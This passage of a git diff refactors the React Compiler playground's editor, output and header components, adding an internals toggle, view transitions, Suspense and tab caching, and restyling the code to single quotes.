-import MonacoEditor, { loader, type Monaco } from "@monaco-editor/react";
-import { CompilerErrorDetail } from "babel-plugin-react-compiler/src";
-import invariant from "invariant";
-import type { editor } from "monaco-editor";
-import * as monaco from "monaco-editor";
-import { Resizable } from "re-resizable";
-import { useEffect, useState } from "react";
-import { renderReactCompilerMarkers } from "../../lib/reactCompilerMonacoDiagnostics";
-import { useStore, useStoreDispatch } from "../StoreContext";
-import { monacoOptions } from "./monacoOptions";
-// TODO: Make TS recognize .d.ts files, in addition to loading them with webpack.
-// @ts-ignore
-import React$Types from "../../node_modules/@types/react/index.d.ts";
-
-loader.config({ monaco });
+import MonacoEditor, {loader, type Monaco} from '@monaco-editor/react';
+import {
+  CompilerErrorDetail,
+  CompilerDiagnostic,
+} from 'babel-plugin-react-compiler';
+import invariant from 'invariant';
+import type {editor} from 'monaco-editor';
+import * as monaco from 'monaco-editor';
+import {
+  useEffect,
+  useState,
+  unstable_ViewTransition as ViewTransition,
+} from 'react';
+import {renderReactCompilerMarkers} from '../../lib/reactCompilerMonacoDiagnostics';
+import {useStore, useStoreDispatch} from '../StoreContext';
+import TabbedWindow from '../TabbedWindow';
+import {monacoOptions} from './monacoOptions';
+import {CONFIG_PANEL_TRANSITION} from '../../lib/transitionTypes';
+
+// @ts-expect-error TODO: Make TS recognize .d.ts files, in addition to loading them with webpack.
+import React$Types from '../../node_modules/@types/react/index.d.ts';
+
+loader.config({monaco});
 
 type Props = {
-  errors: CompilerErrorDetail[];
+  errors: Array<CompilerErrorDetail | CompilerDiagnostic>;
+  language: 'flow' | 'typescript';
 };
 
-export default function Input({ errors }: Props) {
+export default function Input({errors, language}: Props): JSX.Element {
   const [monaco, setMonaco] = useState<Monaco | null>(null);
   const store = useStore();
   const dispatchStore = useStoreDispatch();
@@ -35,48 +44,75 @@ export default function Input({ errors }: Props) {
     if (!monaco) return;
     const uri = monaco.Uri.parse(`file:///index.js`);
     const model = monaco.editor.getModel(uri);
-    invariant(model, "Model must exist for the selected input file.");
-    renderReactCompilerMarkers({ monaco, model, details: errors });
-    // N.B. that `tabSize` is a model property, not an editor property.
-    // So, the tab size has to be set per model.
-    model.updateOptions({ tabSize: 2 });
-  }, [monaco, errors]);
-
-  const handleChange = (value: string | undefined) => {
+    invariant(model, 'Model must exist for the selected input file.');
+    renderReactCompilerMarkers({
+      monaco,
+      model,
+      details: errors,
+      source: store.source,
+    });
+  }, [monaco, errors, store.source]);
+
+  useEffect(() => {
+    /**
+     * Ignore "can only be used in TypeScript files." errors, since
+     * we want to support syntax highlighting for Flow (*.js) files
+     * and Flow is not a built-in language.
+     */
+    if (!monaco) return;
+    monaco.languages.typescript.javascriptDefaults.setDiagnosticsOptions({
+      diagnosticCodesToIgnore: [
+        8002,
+        8003,
+        8004,
+        8005,
+        8006,
+        8008,
+        8009,
+        8010,
+        8011,
+        8012,
+        8013,
+        ...(language === 'flow'
+          ? [7028 /* unused label */, 6133 /* var declared but not read */]
+          : []),
+      ],
+      noSemanticValidation: true,
+      // Monaco can't validate Flow component syntax
+      noSyntaxValidation: language === 'flow',
+    });
+  }, [monaco, language]);
+
+  const handleChange: (value: string | undefined) => void = async value => {
     if (!value) return;
 
     dispatchStore({
-      type: "updateFile",
+      type: 'updateSource',
       payload: {
         source: value,
       },
     });
   };
 
-  const handleMount = (_: editor.IStandaloneCodeEditor, monaco: Monaco) => {
+  const handleMount: (
+    _: editor.IStandaloneCodeEditor,
+    monaco: Monaco,
+  ) => void = (_, monaco) => {
+    if (typeof window !== 'undefined') {
+      window['__MONACO_LOADED__'] = true;
+    }
     setMonaco(monaco);
 
-    // Ignore "can only be used in TypeScript files." errors, since
-    // we want to support syntax highlighting for Flow (*.js) files
-    // and Flow is not a built-in language.
-    monaco.languages.typescript.javascriptDefaults.setDiagnosticsOptions({
-      diagnosticCodesToIgnore: [
-        8002, 8003, 8004, 8005, 8006, 8008, 8009, 8010, 8011, 8012, 8013,
-      ],
-      noSemanticValidation: true,
-      noSyntaxValidation: false,
-    });
-
     const tscOptions = {
       allowNonTsExtensions: true,
       target: monaco.languages.typescript.ScriptTarget.ES2015,
       moduleResolution: monaco.languages.typescript.ModuleResolutionKind.NodeJs,
       jsx: monaco.languages.typescript.JsxEmit.Preserve,
-      typeRoots: ["node_modules/@types"],
+      typeRoots: ['node_modules/@types'],
       allowSyntheticDefaultImports: true,
     };
     monaco.languages.typescript.javascriptDefaults.setCompilerOptions(
-      tscOptions
+      tscOptions,
     );
     monaco.languages.typescript.typescriptDefaults.setCompilerOptions({
       ...tscOptions,
@@ -87,41 +123,58 @@ export default function Input({ errors }: Props) {
     // Add React type declarations to Monaco
     const reactLib = [
       React$Types,
-      "file:///node_modules/@types/react/index.d.ts",
+      'file:///node_modules/@types/react/index.d.ts',
     ] as [any, string];
     monaco.languages.typescript.javascriptDefaults.addExtraLib(...reactLib);
     monaco.languages.typescript.typescriptDefaults.addExtraLib(...reactLib);
 
-    // Remeasure the font in case the custom font is loaded only after
-    // Monaco Editor is mounted.
-    // N.B. that this applies also to the output editor as it seems
-    // Monaco Editor instances share the same font config.
+    /**
+     * Remeasure the font in case the custom font is loaded only after
+     * Monaco Editor is mounted.
+     * N.B. that this applies also to the output editor as it seems
+     * Monaco Editor instances share the same font config.
+     */
     document.fonts.ready.then(() => {
       monaco.editor.remeasureFonts();
     });
   };
 
+  const editorContent = (
+    <MonacoEditor
+      path={'index.js'}
+      /**
+       * .js and .jsx files are specified to be TS so that Monaco can actually
+       * check their syntax using its TS language service. They are still JS files
+       * due to their extensions, so TS language features don't work.
+       */
+      language={'javascript'}
+      value={store.source}
+      onMount={handleMount}
+      onChange={handleChange}
+      className="monaco-editor-input"
+      options={monacoOptions}
+      loading={''}
+    />
+  );
+
+  const tabs = new Map([['Input', editorContent]]);
+  const [activeTab, setActiveTab] = useState('Input');
+
   return (
-    <div className="relative flex flex-col flex-none border-r border-gray-200">
-      <Resizable
-        minWidth={650}
-        enable={{ right: true }}
-        // Restrict MonacoEditor's height, since the config autoLayout:true
-        // will grow the editor to fit within parent element
-        className="!h-[calc(100vh_-_3.5rem)]"
-      >
-        <MonacoEditor
-          path={"index.js"}
-          // .js and .jsx files are specified to be TS so that Monaco can actually
-          // check their syntax using its TS language service. They are still JS files
-          // due to their extensions, so TS language features don't work.
-          language={"javascript"}
-          value={store.source}
-          onMount={handleMount}
-          onChange={handleChange}
-          options={monacoOptions}
-        />
-      </Resizable>
-    </div>
+    <ViewTransition
+      update={{
+        [CONFIG_PANEL_TRANSITION]: 'container',
+        default: 'none',
+      }}>
+      <div className="flex-1 min-w-[550px] sm:min-w-0">
+        <div className="flex flex-col h-full !h-[calc(100vh_-_3.5rem)] border-r border-gray-200">
+          <TabbedWindow
+            tabs={tabs}
+            activeTab={activeTab}
+            onTabChange={setActiveTab}
+          />
+        </div>
+      </div>
+    </ViewTransition>
   );
 }
diff --git a/compiler/apps/playground/components/Editor/Output.tsx b/compiler/apps/playground/components/Editor/Output.tsx
index 128fcca83a93..573ded92fc9a 100644
--- a/compiler/apps/playground/components/Editor/Output.tsx
+++ b/compiler/apps/playground/components/Editor/Output.tsx
@@ -5,47 +5,77 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import generate from "@babel/generator";
-import * as t from "@babel/types";
 import {
   CodeIcon,
   DocumentAddIcon,
   InformationCircleIcon,
-} from "@heroicons/react/outline";
-import MonacoEditor, { DiffEditor } from "@monaco-editor/react";
-import { type CompilerError } from "babel-plugin-react-compiler/src";
-import parserBabel from "prettier/plugins/babel";
-import * as prettierPluginEstree from "prettier/plugins/estree";
-import * as prettier from "prettier/standalone";
-import { memo, useEffect, useState } from "react";
-import { type Store } from "../../lib/stores";
-import TabbedWindow from "../TabbedWindow";
-import { monacoOptions } from "./monacoOptions";
+} from '@heroicons/react/outline';
+import MonacoEditor, {DiffEditor} from '@monaco-editor/react';
+import {
+  CompilerErrorDetail,
+  CompilerDiagnostic,
+  type CompilerError,
+} from 'babel-plugin-react-compiler';
+import parserBabel from 'prettier/plugins/babel';
+import * as prettierPluginEstree from 'prettier/plugins/estree';
+import * as prettier from 'prettier/standalone';
+import {type Store} from '../../lib/stores';
+import {
+  memo,
+  ReactNode,
+  use,
+  useState,
+  Suspense,
+  unstable_ViewTransition as ViewTransition,
+  unstable_addTransitionType as addTransitionType,
+  startTransition,
+} from 'react';
+import AccordionWindow from '../AccordionWindow';
+import TabbedWindow from '../TabbedWindow';
+import {monacoOptions} from './monacoOptions';
+import {BabelFileResult} from '@babel/core';
+import {
+  CONFIG_PANEL_TRANSITION,
+  TOGGLE_INTERNALS_TRANSITION,
+  EXPAND_ACCORDION_TRANSITION,
+} from '../../lib/transitionTypes';
+import {LRUCache} from 'lru-cache';
+
 const MemoizedOutput = memo(Output);
 
 export default MemoizedOutput;
 
+export const BASIC_OUTPUT_TAB_NAMES = ['Output', 'SourceMap'];
+
+const tabifyCache = new LRUCache<Store, Promise<Map<string, ReactNode>>>({
+  max: 5,
+});
+
 export type PrintedCompilerPipelineValue =
   | {
-      kind: "ast";
-      name: string;
-      fnName: string | null;
-      value: t.FunctionDeclaration;
-    }
-  | {
-      kind: "hir";
+      kind: 'hir';
       name: string;
       fnName: string | null;
       value: string;
     }
-  | { kind: "reactive"; name: string; fnName: string | null; value: string }
-  | { kind: "debug"; name: string; fnName: string | null; value: string };
+  | {kind: 'reactive'; name: string; fnName: string | null; value: string}
+  | {kind: 'debug'; name: string; fnName: string | null; value: string};
 
+export type CompilerTransformOutput = {
+  code: string;
+  sourceMaps: BabelFileResult['map'];
+  language: 'flow' | 'typescript';
+};
 export type CompilerOutput =
-  | { kind: "ok"; results: Map<string, PrintedCompilerPipelineValue[]> }
   | {
-      kind: "err";
-      results: Map<string, PrintedCompilerPipelineValue[]>;
+      kind: 'ok';
+      transformOutput: CompilerTransformOutput;
+      results: Map<string, Array<PrintedCompilerPipelineValue>>;
+      errors: Array<CompilerErrorDetail | CompilerDiagnostic>;
+    }
+  | {
+      kind: 'err';
+      results: Map<string, Array<PrintedCompilerPipelineValue>>;
       error: CompilerError;
     };
 
@@ -54,16 +84,22 @@ type Props = {
   compilerOutput: CompilerOutput;
 };
 
-async function tabify(source: string, compilerOutput: CompilerOutput) {
+async function tabify(
+  source: string,
+  compilerOutput: CompilerOutput,
+  showInternals: boolean,
+): Promise<Map<string, ReactNode>> {
   const tabs = new Map<string, React.ReactNode>();
   const reorderedTabs = new Map<string, React.ReactNode>();
   const concattedResults = new Map<string, string>();
-  let topLevelFnDecls: Array<t.FunctionDeclaration> = [];
   // Concat all top level function declaration results into a single tab for each pass
   for (const [passName, results] of compilerOutput.results) {
+    if (!showInternals && !BASIC_OUTPUT_TAB_NAMES.includes(passName)) {
+      continue;
+    }
     for (const result of results) {
       switch (result.kind) {
-        case "hir": {
+        case 'hir': {
           const prev = concattedResults.get(result.name);
           const next = result.value;
           const identName = `function ${result.fnName}`;
@@ -74,7 +110,7 @@ async function tabify(source: string, compilerOutput: CompilerOutput) {
           }
           break;
         }
-        case "reactive": {
+        case 'reactive': {
           const prev = concattedResults.get(passName);
           const next = result.value;
           if (prev != null) {
@@ -84,58 +120,98 @@ async function tabify(source: string, compilerOutput: CompilerOutput) {
           }
           break;
         }
-        case "ast":
-          topLevelFnDecls.push(result.value);
-          break;
-        case "debug": {
+        case 'debug': {
           concattedResults.set(passName, result.value);
           break;
         }
         default: {
           const _: never = result;
-          throw new Error("Unexpected result kind");
+          throw new Error('Unexpected result kind');
         }
       }
     }
   }
   let lastPassOutput: string | null = null;
+  let nonDiffPasses = ['HIR', 'BuildReactiveFunction', 'EnvironmentConfig'];
   for (const [passName, text] of concattedResults) {
     tabs.set(
       passName,
       <TextTabContent
         output={text}
-        diff={lastPassOutput ?? null}
-        showInfoPanel={true}
-      ></TextTabContent>
+        diff={lastPassOutput}
+        showInfoPanel={!nonDiffPasses.includes(passName)}></TextTabContent>,
     );
     lastPassOutput = text;
   }
   // Ensure that JS and the JS source map come first
-  if (topLevelFnDecls.length > 0) {
-    // Make a synthetic Program so we can have a single AST with all the top level
-    // FunctionDeclarations
-    const ast = t.program(topLevelFnDecls);
-    const { code, sourceMapUrl } = await codegen(ast, source);
+  if (compilerOutput.kind === 'ok') {
+    const {transformOutput} = compilerOutput;
+    const sourceMapUrl = getSourceMapUrl(
+      transformOutput.code,
+      JSON.stringify(transformOutput.sourceMaps),
+    );
+    const code = await prettier.format(transformOutput.code, {
+      semi: true,
+      parser: transformOutput.language === 'flow' ? 'babel-flow' : 'babel-ts',
+      plugins: [parserBabel, prettierPluginEstree],
+    });
+
+    let output: string;
+    let language: string;
+    if (compilerOutput.errors.length === 0) {
+      output = code;
+      language = 'javascript';
+    } else {
+      language = 'markdown';
+      output = `
+# Summary
+
+React Compiler compiled this function successfully, but there are lint errors that indicate potential issues with the original code.
+
+## ${compilerOutput.errors.length} Lint Errors
+
+${compilerOutput.errors.map(e => e.printErrorMessage(source, {eslint: false})).join('\n\n')}
+
+## Output
+
+\`\`\`js
+${code}
+\`\`\`
+`.trim();
+    }
+
     reorderedTabs.set(
-      "JS",
+      'Output',
       <TextTabContent
-        output={code}
+        output={output}
+        language={language}
         diff={null}
-        showInfoPanel={false}
-      ></TextTabContent>
+        showInfoPanel={false}></TextTabContent>,
     );
     if (sourceMapUrl) {
       reorderedTabs.set(
-        "SourceMap",
+        'SourceMap',
         <>
           <iframe
             src={sourceMapUrl}
             className="w-full h-monaco_small sm:h-monaco"
             title="Generated Code"
           />
-        </>
+        </>,
       );
     }
+  } else if (compilerOutput.kind === 'err') {
+    const errors = compilerOutput.error.printErrorMessage(source, {
+      eslint: false,
+    });
+    reorderedTabs.set(
+      'Output',
+      <TextTabContent
+        output={errors}
+        language="markdown"
+        diff={null}
+        showInfoPanel={false}></TextTabContent>,
+    );
   }
   tabs.forEach((tab, name) => {
     reorderedTabs.set(name, tab);
@@ -143,25 +219,23 @@ async function tabify(source: string, compilerOutput: CompilerOutput) {
   return reorderedTabs;
 }
 
-async function codegen(
-  ast: t.Program,
-  source: string
-): Promise<{ code: any; sourceMapUrl: string | null }> {
-  const generated = generate(
-    ast,
-    { sourceMaps: true, sourceFileName: "input.js" },
-    source
-  );
-  const sourceMapUrl = getSourceMapUrl(
-    generated.code,
-    JSON.stringify(generated.map)
+function tabifyCached(
+  store: Store,
+  compilerOutput: CompilerOutput,
+): Promise<Map<string, ReactNode>> {
+  const cached = tabifyCache.get(store);
+  if (cached) return cached;
+  const result = tabify(store.source, compilerOutput, store.showInternals);
+  tabifyCache.set(store, result);
+  return result;
+}
+
+function Fallback(): JSX.Element {
+  return (
+    <div className="w-full h-monaco_small sm:h-monaco flex items-center justify-center">
+      Loading...
+    </div>
   );
-  const codegenOutput = await prettier.format(generated.code, {
-    semi: true,
-    parser: "babel",
-    plugins: [parserBabel, prettierPluginEstree],
-  });
-  return { code: codegenOutput, sourceMapUrl };
 }
 
 function utf16ToUTF8(s: string): string {
@@ -172,27 +246,50 @@ function getSourceMapUrl(code: string, map: string): string | null {
   code = utf16ToUTF8(code);
   map = utf16ToUTF8(map);
   return `https://evanw.github.io/source-map-visualization/#${btoa(
-    `${code.length}\0${code}${map.length}\0${map}`
+    `${code.length}\0${code}${map.length}\0${map}`,
   )}`;
 }
 
-function Output({ store, compilerOutput }: Props) {
-  const [tabsOpen, setTabsOpen] = useState<Set<string>>(() => new Set(["JS"]));
-  const [tabs, setTabs] = useState<Map<string, React.ReactNode>>(
-    () => new Map()
+function Output({store, compilerOutput}: Props): JSX.Element {
+  return (
+    <Suspense fallback={<Fallback />}>
+      <OutputContent store={store} compilerOutput={compilerOutput} />
+    </Suspense>
   );
-  useEffect(() => {
-    tabify(store.source, compilerOutput).then((tabs) => {
-      setTabs(tabs);
-    });
-  }, [store.source, compilerOutput]);
+}
+
+function OutputContent({store, compilerOutput}: Props): JSX.Element {
+  const [tabsOpen, setTabsOpen] = useState<Set<string>>(
+    () => new Set(['Output']),
+  );
+  const [activeTab, setActiveTab] = useState<string>('Output');
 
-  const changedPasses: Set<string> = new Set();
-  let lastResult: string = "";
+  /*
+   * Update the active tab back to the output or errors tab when the compilation state
+   * changes between success/failure.
+   */
+  const [previousOutputKind, setPreviousOutputKind] = useState(
+    compilerOutput.kind,
+  );
+  const isFailure = compilerOutput.kind !== 'ok';
+
+  if (compilerOutput.kind !== previousOutputKind) {
+    setPreviousOutputKind(compilerOutput.kind);
+    if (isFailure) {
+      startTransition(() => {
+        addTransitionType(EXPAND_ACCORDION_TRANSITION);
+        setTabsOpen(prev => new Set(prev).add('Output'));
+        setActiveTab('Output');
+      });
+    }
+  }
+
+  const changedPasses: Set<string> = new Set(['Output', 'HIR']); // Initial and final passes should always be bold
+  let lastResult: string = '';
   for (const [passName, results] of compilerOutput.results) {
     for (const result of results) {
-      let currResult = "";
-      if (result.kind === "hir" || result.kind === "reactive") {
+      let currResult = '';
+      if (result.kind === 'hir' || result.kind === 'reactive') {
         currResult += `function ${result.fnName}\n\n${result.value}`;
       }
       if (currResult !== lastResult) {
@@ -201,33 +298,40 @@ function Output({ store, compilerOutput }: Props) {
       lastResult = currResult;
     }
   }
+  const tabs = use(tabifyCached(store, compilerOutput));
+
+  if (!store.showInternals) {
+    return (
+      <ViewTransition
+        update={{
+          [CONFIG_PANEL_TRANSITION]: 'container',
+          [TOGGLE_INTERNALS_TRANSITION]: '',
+          default: 'none',
+        }}>
+        <TabbedWindow
+          tabs={tabs}
+          activeTab={activeTab}
+          onTabChange={setActiveTab}
+        />
+      </ViewTransition>
+    );
+  }
 
   return (
-    <>
-      <TabbedWindow
-        defaultTab="HIR"
+    <ViewTransition
+      update={{
+        [CONFIG_PANEL_TRANSITION]: 'accordion-container',
+        [TOGGLE_INTERNALS_TRANSITION]: '',
+        default: 'none',
+      }}>
+      <AccordionWindow
+        defaultTab={store.showInternals ? 'HIR' : 'Output'}
         setTabsOpen={setTabsOpen}
         tabsOpen={tabsOpen}
         tabs={tabs}
         changedPasses={changedPasses}
       />
-      {compilerOutput.kind === "err" ? (
-        <div
-          className="flex flex-wrap absolute bottom-0 bg-white grow border-y border-grey-200 transition-all ease-in"
-          style={{ width: "calc(100vw - 650px)" }}
-        >
-          <div className="w-full p-4 basis-full border-b">
-            <h2>COMPILER ERRORS</h2>
-          </div>
-          <pre
-            className="p-4 basis-full text-red-600 overflow-y-scroll whitespace-pre-wrap"
-            style={{ width: "calc(100vw - 650px)", height: "150px" }}
-          >
-            <code>{compilerOutput.error.toString()}</code>
-          </pre>
-        </div>
-      ) : null}
-    </>
+    </ViewTransition>
   );
 }
 
@@ -235,23 +339,26 @@ function TextTabContent({
   output,
   diff,
   showInfoPanel,
+  language,
 }: {
   output: string;
   diff: string | null;
   showInfoPanel: boolean;
-}) {
+  language: string;
+}): JSX.Element {
   const [diffMode, setDiffMode] = useState(false);
   return (
-    // Restrict MonacoEditor's height, since the config autoLayout:true
-    // will grow the editor to fit within parent element
+    /**
+     * Restrict MonacoEditor's height, since the config autoLayout:true
+     * will grow the editor to fit within parent element
+     */
     <div className="w-full h-monaco_small sm:h-monaco">
       {showInfoPanel ? (
         <div className="flex items-center gap-1 bg-amber-50 p-2">
           {diff != null && output !== diff ? (
             <button
               className="flex items-center gap-1 transition-colors duration-150 ease-in text-secondary hover:text-link"
-              onClick={() => setDiffMode((diffMode) => !diffMode)}
-            >
+              onClick={() => setDiffMode(diffMode => !diffMode)}>
               {!diffMode ? (
                 <>
                   <DocumentAddIcon className="w-5 h-5" /> Show Diff
@@ -276,24 +383,33 @@ function TextTabContent({
         <DiffEditor
           original={diff}
           modified={output}
+          loading={''}
           options={{
             ...monacoOptions,
+            scrollbar: {
+              vertical: 'hidden',
+            },
+            dimension: {
+              width: 0,
+              height: 0,
+            },
             readOnly: true,
-            lineNumbers: "off",
+            lineNumbers: 'off',
             glyphMargin: false,
             // Undocumented see https://github.com/Microsoft/vscode/issues/30795#issuecomment-410998882
-            lineDecorationsWidth: 0,
-            lineNumbersMinChars: 0,
+            overviewRulerLanes: 0,
           }}
         />
       ) : (
         <MonacoEditor
-          defaultLanguage="javascript"
+          language={language ?? 'javascript'}
           value={output}
+          loading={''}
+          className="monaco-editor-output"
           options={{
             ...monacoOptions,
             readOnly: true,
-            lineNumbers: "off",
+            lineNumbers: 'off',
             glyphMargin: false,
             // Undocumented see https://github.com/Microsoft/vscode/issues/30795#issuecomment-410998882
             lineDecorationsWidth: 0,
diff --git a/compiler/apps/playground/components/Editor/index.tsx b/compiler/apps/playground/components/Editor/index.tsx
index 81b3b75e3452..6fe7234d29c2 100644
--- a/compiler/apps/playground/components/Editor/index.tsx
+++ b/compiler/apps/playground/components/Editor/index.tsx
@@ -5,11 +5,13 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import dynamic from "next/dynamic";
+import dynamic from 'next/dynamic';
 
-// monaco-editor is currently not compatible with ssr
-// https://github.com/vercel/next.js/issues/31692
-const Editor = dynamic(() => import("./EditorImpl"), {
+/**
+ * monaco-editor is currently not compatible with ssr
+ * https://github.com/vercel/next.js/issues/31692
+ */
+const Editor = dynamic(() => import('./EditorImpl'), {
   ssr: false,
 });
 
diff --git a/compiler/apps/playground/components/Editor/monacoOptions.ts b/compiler/apps/playground/components/Editor/monacoOptions.ts
index d5ce32039cd9..d52c8bbedfa8 100644
--- a/compiler/apps/playground/components/Editor/monacoOptions.ts
+++ b/compiler/apps/playground/components/Editor/monacoOptions.ts
@@ -5,11 +5,11 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import type { EditorProps } from "@monaco-editor/react";
+import type {EditorProps} from '@monaco-editor/react';
 
-export const monacoOptions: Partial<EditorProps["options"]> = {
+export const monacoOptions: Partial<EditorProps['options']> = {
   fontSize: 14,
-  padding: { top: 8 },
+  padding: {top: 8},
   scrollbar: {
     verticalScrollbarSize: 10,
     alwaysConsumeMouseWheel: false,
@@ -22,11 +22,24 @@ export const monacoOptions: Partial<EditorProps["options"]> = {
   fontFamily: '"Source Code Pro", monospace',
   glyphMargin: true,
 
-  autoClosingBrackets: "languageDefined",
-  autoClosingDelete: "always",
-  autoClosingOvertype: "always",
+  autoClosingBrackets: 'languageDefined',
+  autoClosingDelete: 'always',
+  autoClosingOvertype: 'always',
 
   automaticLayout: true,
-  wordWrap: "on",
-  wrappingIndent: "deepIndent",
+  wordWrap: 'on',
+  wrappingIndent: 'same',
+
+  tabSize: 2,
+};
+
+export const monacoConfigOptions: Partial<EditorProps['options']> = {
+  ...monacoOptions,
+  lineNumbers: 'off',
+  renderLineHighlight: 'none',
+  overviewRulerBorder: false,
+  overviewRulerLanes: 0,
+  fontSize: 12,
+  scrollBeyondLastLine: false,
+  glyphMargin: false,
 };
diff --git a/compiler/apps/playground/components/Header.tsx b/compiler/apps/playground/components/Header.tsx
index 2588e6d25c9a..421cefd5db05 100644
--- a/compiler/apps/playground/components/Header.tsx
+++ b/compiler/apps/playground/components/Header.tsx
@@ -5,39 +5,45 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { RefreshIcon, ShareIcon } from "@heroicons/react/outline";
-import { CheckIcon } from "@heroicons/react/solid";
-import clsx from "clsx";
-import Link from "next/link";
-import { useSnackbar } from "notistack";
-import { useState } from "react";
-import { defaultStore } from "../lib/defaultStore";
-import { IconGitHub } from "./Icons/IconGitHub";
-import Logo from "./Logo";
-import { useStoreDispatch } from "./StoreContext";
+import {RefreshIcon, ShareIcon} from '@heroicons/react/outline';
+import {CheckIcon} from '@heroicons/react/solid';
+import clsx from 'clsx';
+import Link from 'next/link';
+import {useSnackbar} from 'notistack';
+import {
+  useState,
+  startTransition,
+  unstable_addTransitionType as addTransitionType,
+} from 'react';
+import {defaultStore} from '../lib/defaultStore';
+import {IconGitHub} from './Icons/IconGitHub';
+import Logo from './Logo';
+import {useStore, useStoreDispatch} from './StoreContext';
+import {TOGGLE_INTERNALS_TRANSITION} from '../lib/transitionTypes';
 
-export default function Header() {
+export default function Header(): JSX.Element {
   const [showCheck, setShowCheck] = useState(false);
+  const store = useStore();
   const dispatchStore = useStoreDispatch();
-  const { enqueueSnackbar, closeSnackbar } = useSnackbar();
+  const {enqueueSnackbar, closeSnackbar} = useSnackbar();
 
-  const handleReset = () => {
-    if (confirm("Are you sure you want to reset the playground?")) {
-      /*
-        Close open snackbars if any. This is necessary because when displaying
-        outputs (Preview or not), we only close previous snackbars if we received
-        new messages, which is needed in order to display "Bad URL" or success
-        messages when loading Playground for the first time. Otherwise, messages
-        such as "Bad URL" will be closed by the outputs calling `closeSnackbar`.
-      */
+  const handleReset: () => void = () => {
+    if (confirm('Are you sure you want to reset the playground?')) {
+      /**
+       * Close open snackbars if any. This is necessary because when displaying
+       * outputs (Preview or not), we only close previous snackbars if we received
+       * new messages, which is needed in order to display "Bad URL" or success
+       * messages when loading Playground for the first time. Otherwise, messages
+       * such as "Bad URL" will be closed by the outputs calling `closeSnackbar`.
+       */
       closeSnackbar();
-      dispatchStore({ type: "setStore", payload: { store: defaultStore } });
+      dispatchStore({type: 'setStore', payload: {store: defaultStore}});
     }
   };
 
-  const handleShare = () => {
+  const handleShare: () => void = () => {
     navigator.clipboard.writeText(location.href).then(() => {
-      enqueueSnackbar("URL copied to clipboard");
+      enqueueSnackbar('URL copied to clipboard');
       setShowCheck(true);
       // Show the check mark icon briefly after URL is copied
       setTimeout(() => setShowCheck(false), 1000);
@@ -49,19 +55,44 @@ export default function Header() {
       <div className="flex items-center flex-none h-full gap-2 text-lg">
         <Logo
           className={clsx(
-            "w-8 h-8 text-link",
-            process.env.NODE_ENV === "development" && "text-yellow-600"
+            'w-8 h-8 text-link',
+            process.env.NODE_ENV === 'development' && 'text-yellow-600',
           )}
         />
         <p className="hidden select-none sm:block">React Compiler Playground</p>
       </div>
       <div className="flex items-center text-[15px] gap-4">
+        <div className="flex items-center gap-2">
+          <label className="show-internals relative inline-block w-[34px] h-5">
+            <input
+              type="checkbox"
+              checked={store.showInternals}
+              onChange={() =>
+                startTransition(() => {
+                  addTransitionType(TOGGLE_INTERNALS_TRANSITION);
+                  dispatchStore({type: 'toggleInternals'});
+                })
+              }
+              className="absolute opacity-0 cursor-pointer h-full w-full m-0"
+            />
+            <span
+              className={clsx(
+                'absolute inset-0 rounded-full cursor-pointer transition-all duration-250',
+                "before:content-[''] before:absolute before:w-4 before:h-4 before:left-0.5 before:bottom-0.5",
+                'before:bg-white before:rounded-full before:transition-transform before:duration-250',
+                'focus-within:shadow-[0_0_1px_#2196F3]',
+                store.showInternals
+                  ? 'bg-link before:translate-x-3.5'
+                  : 'bg-gray-300',
+              )}></span>
+          </label>
+          <span className="text-secondary">Show Internals</span>
+        </div>
         <button
           title="Reset Playground"
           aria-label="Reset Playground"
           className="flex items-center gap-1 transition-colors duration-150 ease-in text-secondary hover:text-link"
-          onClick={handleReset}
-        >
+          onClick={handleReset}>
           <RefreshIcon className="w-5 h-5" />
           <p className="hidden sm:block">Reset</p>
         </button>
@@ -70,8 +101,7 @@ export default function Header() {
           aria-label="Copy sharable URL"
           className="flex items-center gap-1 transition-colors duration-150 ease-in text-secondary hover:text-link"
           onClick={handleShare}
-          disabled={showCheck}
-        >
+          disabled={showCheck}>
           {!showCheck ? (
             <ShareIcon className="w-5 h-5" />
           ) : (
@@ -84,8 +114,7 @@ export default function Header() {
           target="_blank"
           rel="noreferrer noopener"
           aria-label="Open on GitHub"
-          className="flex items-center gap-1 transition-colors duration-150 ease-in text-secondary hover:text-link"
-        >
+          className="flex items-center gap-1 transition-colors duration-150 ease-in text-secondary hover:text-link">
           <IconGitHub />
         </Link>
       </div>
diff --git a/compiler/apps/playground/components/Icons/IconChevron.tsx b/compiler/apps/playground/components/Icons/IconChevron.tsx
new file mode 100644
index 000000000000..1e9dfb69188a
--- /dev/null
+++ b/compiler/apps/playground/components/Icons/IconChevron.tsx
@@ -0,0 +1,41 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {memo} from 'react';
+
+export const IconChevron = memo<
+  JSX.IntrinsicElements['svg'] & {
+    /**
+     * The direction the arrow should point.
+     */
+    displayDirection: 'right' | 'left';
+  }
+>(function IconChevron({className, displayDirection, ...props}) {
+  const rotationClass =
+    displayDirection === 'left' ? 'rotate-90' : '-rotate-90';
+  const classes = className ? `${rotationClass} ${className}` : rotationClass;
+
+  return (
+    <svg
+      className={classes}
+      xmlns="http://www.w3.org/2000/svg"
+      width="20"
+      height="20"
+      viewBox="0 0 20 20"
+      {...props}>
+      <g fill="none" fillRule="evenodd" transform="translate(-446 -398)">
+        <path
+          fill="currentColor"
+          fillRule="nonzero"
+          d="M95.8838835,240.366117 C95.3957281,239.877961 94.6042719,239.877961 94.1161165,240.366117 C93.6279612,240.854272 93.6279612,241.645728 94.1161165,242.133883 L98.6161165,246.633883 C99.1042719,247.122039 99.8957281,247.122039 100.383883,246.633883 L104.883883,242.133883 C105.372039,241.645728 105.372039,240.854272 104.883883,240.366117 C104.395728,239.877961 103.604272,239.877961 103.116117,240.366117 L99.5,243.982233 L95.8838835,240.366117 Z"
+          transform="translate(356.5 164.5)"
+        />
+        <polygon points="446 418 466 418 466 398 446 398" />
+      </g>
+    </svg>
+  );
+});
diff --git a/compiler/apps/playground/components/Icons/IconGitHub.tsx b/compiler/apps/playground/components/Icons/IconGitHub.tsx
index b96d6a6aa709..cf3e0584aa3a 100644
--- a/compiler/apps/playground/components/Icons/IconGitHub.tsx
+++ b/compiler/apps/playground/components/Icons/IconGitHub.tsx
@@ -5,9 +5,9 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { memo } from "react";
